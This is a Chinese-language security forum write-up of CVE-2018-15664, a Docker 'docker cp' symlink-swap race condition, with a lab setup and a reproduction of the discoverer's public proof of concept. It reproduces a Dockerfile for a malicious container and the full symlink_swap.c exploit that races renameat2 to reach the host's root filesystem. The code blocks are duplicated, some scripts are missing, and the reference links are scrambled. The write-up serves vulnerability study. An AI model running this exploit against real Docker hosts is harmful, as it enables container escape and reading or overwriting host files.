-
-
[原创]CVE-2018-15664:符号链接替换漏洞
-
发表于: 2022-5-23 19:46 16029
-
来自SUSE的安全专家Aleksa Sarai公布了编号为CVE-2018-15664的docker相关高危安全漏洞,该漏洞的CVSS评分为8.7,影响面涵盖所有docker 18.06.0-ce-rc2之前发行版本,该漏洞的根因是使用FollowSymlinkInScope
函数时触发TOCTTOU(time-of-check-to-time-of-use) 文件系统的竞争条件缺陷引起的。这段函数代码在docker源码中使用较多,最为直接的就是 docker cp
命令。根据Sarai的描述:FollowSymlinkInScope
的作用是解析容器中运行进程的文件路径,而攻击者可以利用解析校验完成后和操作执行间的空隙修改cp文件为一个符号链接对应的目标文件,这样理论上该攻击者可能会以root身份访问到host上或其他容器内的任意文件。
docker cp命令
docker cp
命令用于在docker创建的容器与宿主机文件系统之间进行文件或目录复制。比如将文件从容器拷贝到宿主机上:
符号链接
符号链接(symbolic link)是 Linux 系统中的一种文件,它指向系统中的另一个文件或目录。符号链接类似于 Windows 系统中的快捷方式。符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。某些需要特别处理符号链接的程序(如备份程序)可能会识别并直接对其进行操作。在*nix系统中,ln命令能够创建一个符号链接,例如:
上诉命令创建了一个名为link_path的符号链接,它指向的目标文件为target_Path。
TOCTOU
在电路设计、软件开发、系统构建中,如果一个模块的输出与多个不可控事件发生的先后时间相关,则称这种现象为“竞争条件”(Race condition),又称“竞争冒险”(race hazard)。从计算机安全考虑,许多竞争条件都会产生漏洞——攻击者通过访问/竞争共享资源,从而使利用该资源的其他参与者出现故障,导致包括拒绝服务和违法权限提升等后果。例如有名的Dirty_Cow漏洞就是由竞争条件引起的。
而一种常见的起因就是代码先检查某个前置条件(例如认证),然后基于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件却可能被改变,如果代码的操作与安全相关,那么就很可能产生漏洞。这种安全问题也被称做TOCTTOU(time of check and the time of use)。
对于CVE-2018-15664来说,Docker会将docker cp 进行文件复制的行为分为先后两个部分:路径检查和命令解析。当用户执行docker cp命令后,Docker守护进程收到这个请求,首先会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,之后再进行命令的解析。
该流程看似没毛病,但要考虑到容器内部环境是不可控的。如果在docker守护进程检查复制路径时,攻击者可以利用中间的间隙,先在这里放置一个非符号链接的常规文件或目录,检查结束后,攻击者赶在Docker守护进程使用这个路径之前将其替换为一个符号链接,那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越。
1. 漏洞环境使用开源的项目Metarget
进行搭建,首先确保主机已经成功安装了docker之后再部署漏洞环境
2.漏洞靶场搭建完毕后,我们使用漏洞发现者Aleksa Sarai提供的poc来验证一下。下载并解压Poc后,Poc的目录结构如下所示:
symlink_swap.c主要任务是在容器内创建指向根目录的“/”的符号链接,并不断地交换符号链接(由命令行参数传入,如/totally_safe_path
)与一个正常目录(如/totally_safe_path-stashed
)的名字。这样一来,Docker 在宿主机上执行docker cp
时,就会遇到4种不同的场景,如果首先检测到/totally_safe_path-stashed
是一个正常目录,但在后面执行复制操作时/totally_safe_path
却变成了一个符号链接,那么docker将在宿主机上解析这个符号链接。
symlink_swap.c 的内容如下:
run_read.sh 模拟受害者不断使用 docker cp 命令将容器内的文件复制到宿主机上的场景,一旦漏洞触发,容器将恶意符号链接在宿主机文件系统解析后指向的文件将被复制到受害者设定的宿主机目录下。
run_read.sh 内容如下:
run_write.sh 模拟受害者不断使用 docker cp 命令将宿主机上的文件复制到容器内的场景,一旦触发漏洞,受害者指定的宿主机文件(localpath
)将覆盖容器内恶意符号链接在宿主机文件系统解析后指向的文件(w00t_w00t_im_a_flag
)。
run_write.sh内容如下:
3.启动 run_write.sh ,恶意容器运行,然后不断执行 docker cp
命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag
的内容为
如果漏洞触发,容器内的符号链接 /totally_safe_path
将在宿主机文件系统上解析,因此docker cp
实际上是将 localpath
文件复制到了宿主机上的 /w00t_w00t_im_a_flag
文件位置。也就是说,此时宿主机上 /w00t_w00t_im_a_flag
内容将被改写为:
如下图所示,漏洞成功触发:
源码 docker-ce-18.13.1-ce
源码1:docker/pkg/symlink/fs.go:FollowSymlinkInScope
参考链接
0ebK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3L8r3W2I4K9i4g2Z5j5h3!0Q4x3V1k6H3i4K6u0r3z5e0b7#2x3o6l9&6x3#2)9J5k6h3S2@1L8h3H3`.
a56K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2k6r3!0U0K9$3g2J5i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Y4K9h3&6W2i4K6u0r3M7X3g2X3k6i4u0W2L8X3y4W2i4K6u0r3j5$3!0E0L8h3q4F1k6r3I4A6L8X3g2Q4x3V1k6U0M7q4)9J5c8R3`.`.
57cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3y4D9K9i4y4@1M7#2)9J5k6h3!0J5k6#2)9J5c8X3!0K6M7#2)9J5k6s2y4W2j5#2)9J5c8U0t1H3x3e0W2Q4x3V1k6I4x3W2)9J5c8U0p5K6x3b7`.`.
8feK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3X3g2S2L8r3W2&6N6h3&6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3y4K6l9@1y4e0p5#2
003K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2S2P5h3!0@1k6i4u0J5P5g2)9J5k6h3y4G2L8g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6u0r3j5i4u0U0K9r3W2$3k6i4y4Q4x3V1j5$3z5g2)9J5k6h3S2@1L8h3H3`.
072K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6y4k6i4c8S2M7X3N6W2N6q4)9J5c8X3#2W2N6r3q4J5k6$3g2@1
182K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0V1H3y4o6x3%4y4K6x3&6
docker cp container_id:file_path_in_container host_path
#实例
docker cp
0cd4d9d94de2
:
/
Test.java
/
Test.java
docker cp container_id:file_path_in_container host_path
#实例
docker cp
0cd4d9d94de2
:
/
Test.java
/
Test.java
ln
-
s targrt_path link_path
ln
-
s targrt_path link_path
#安装Metarget
git clone https:
/
/
github.com
/
brant
-
ruan
/
metarget.git
cd metarget
/
pip install
-
r requirements.txt
#一键部署漏洞环境
.
/
metarget cnv install cve
-
2018
-
15664
#完成后查看docker版本
root@ubuntu:
/
home
# docker --version
Docker version
18.03
.
1
-
ce, build
9ee9f40
#安装Metarget
git clone https:
/
/
github.com
/
brant
-
ruan
/
metarget.git
cd metarget
/
pip install
-
r requirements.txt
#一键部署漏洞环境
.
/
metarget cnv install cve
-
2018
-
15664
#完成后查看docker版本
root@ubuntu:
/
home
# docker --version
Docker version
18.03
.
1
-
ce, build
9ee9f40
.
├── build
│ ├── Dockerfile
│ └── symlink_swap.c
├── run_read.sh
└── run_write.sh
.
├── build
│ ├── Dockerfile
│ └── symlink_swap.c
├── run_read.sh
└── run_write.sh
# Build the binary.
FROM opensuse
/
leap
RUN zypper
in
-
y gcc glibc
-
devel
-
static
RUN mkdir
/
builddir
COPY symlink_swap.c
/
builddir
/
symlink_swap.c
RUN gcc
-
Wall
-
Werror
-
static
-
o
/
builddir
/
symlink_swap
/
builddir
/
symlink_swap.c
# Set up our malicious rootfs.
FROM opensuse
/
leap
ARG SYMSWAP_TARGET
=
/
w00t_w00t_im_a_flag
ARG SYMSWAP_PATH
=
/
totally_safe_path
RUN echo
"FAILED -- INSIDE CONTAINER PATH"
>
"$SYMSWAP_TARGET"
COPY
-
-
from
=
0
/
builddir
/
symlink_swap
/
symlink_swap
ENTRYPOINT [
"/symlink_swap"
]
# Build the binary.
FROM opensuse
/
leap
RUN zypper
in
-
y gcc glibc
-
devel
-
static
RUN mkdir
/
builddir
COPY symlink_swap.c
/
builddir
/
symlink_swap.c
RUN gcc
-
Wall
-
Werror
-
static
-
o
/
builddir
/
symlink_swap
/
builddir
/
symlink_swap.c
# Set up our malicious rootfs.
FROM opensuse
/
leap
ARG SYMSWAP_TARGET
=
/
w00t_w00t_im_a_flag
ARG SYMSWAP_PATH
=
/
totally_safe_path
RUN echo
"FAILED -- INSIDE CONTAINER PATH"
>
"$SYMSWAP_TARGET"
COPY
-
-
from
=
0
/
builddir
/
symlink_swap
/
symlink_swap
ENTRYPOINT [
"/symlink_swap"
]
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
#define usage() \
do { printf(
"usage: symlink_swap <symlink>\n"
); exit(
1
); }
while
(
0
)
#define bail(msg) \
do { perror(
"symlink_swap: "
msg); exit(
1
); }
while
(
0
)
/
*
No glibc wrapper
for
this, so wrap it ourselves.
*
/
#define RENAME_EXCHANGE (1 << 1)
/
*
int
renameat2(
int
olddirfd, const char
*
oldpath,
int
newdirfd, const char
*
newpath,
int
flags)
{
return
syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}
*
/
/
*
usage: symlink_swap <symlink>
*
/
int
main(
int
argc, char
*
*
argv)
{
if
(argc !
=
2
)
usage();
char
*
symlink_path
=
argv[
1
];
char
*
stash_path
=
NULL;
if
(asprintf(&stash_path,
"%s-stashed"
, symlink_path) <
0
)
bail(
"create stash_path"
);
/
*
Create a dummy
file
at symlink_path.
*
/
struct stat sb
=
{
0
};
if
(!lstat(symlink_path, &sb)) {
int
err;
if
(sb.st_mode & S_IFDIR)
err
=
rmdir(symlink_path);
else
err
=
unlink(symlink_path);
if
(err <
0
)
bail(
"unlink symlink_path"
);
}
/
*
*
Now create a symlink to
"/"
(which will resolve to the host's root
if
we
*
win the race)
and
a dummy directory at stash_path
for
us to swap with.
*
We use a directory to remove the possibility of ENOTDIR which reduces
*
the chance of us winning.
*
/
if
(symlink(
"/"
, symlink_path) <
0
)
bail(
"create symlink_path"
);
if
(mkdir(stash_path,
0755
) <
0
)
bail(
"mkdir stash_path"
);
/
*
Now we do a RENAME_EXCHANGE forever.
*
/
for
(;;) {
int
err
=
renameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if
(err <
0
)
perror(
"symlink_swap: rename exchange failed"
);
}
return
0
;
}
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
#define usage() \
do { printf(
"usage: symlink_swap <symlink>\n"
); exit(
1
); }
while
(
0
)
#define bail(msg) \
do { perror(
"symlink_swap: "
msg); exit(
1
); }
while
(
0
)
/
*
No glibc wrapper
for
this, so wrap it ourselves.
*
/
#define RENAME_EXCHANGE (1 << 1)
/
*
int
renameat2(
int
olddirfd, const char
*
oldpath,
int
newdirfd, const char
*
newpath,
int
flags)
{
return
syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}
*
/
/
*
usage: symlink_swap <symlink>
*
/
int
main(
int
argc, char
*
*
argv)
{
if
(argc !
=
2
)
usage();
char
*
symlink_path
=
argv[
1
];
char
*
stash_path
=
NULL;
if
(asprintf(&stash_path,
"%s-stashed"
, symlink_path) <
0
)
bail(
"create stash_path"
);
/
*
Create a dummy
file
at symlink_path.
*
/
struct stat sb
=
{
0
};
if
(!lstat(symlink_path, &sb)) {
int
err;
if
(sb.st_mode & S_IFDIR)
err
=
rmdir(symlink_path);
else
err
=
unlink(symlink_path);
if
(err <
0
)
bail(
"unlink symlink_path"
);
}
赞赏
- [原创]CVE-2022-0847:脏管道漏洞对容器的影响 12626
- [原创]Seccomp BPF与容器安全 24451
- [原创]go语言模糊测试与oss-fuzz 23848
- [原创]CVE-2018-15664:符号链接替换漏洞 16030
- [原创]go语言原生模糊测试:源码分析与实战 16394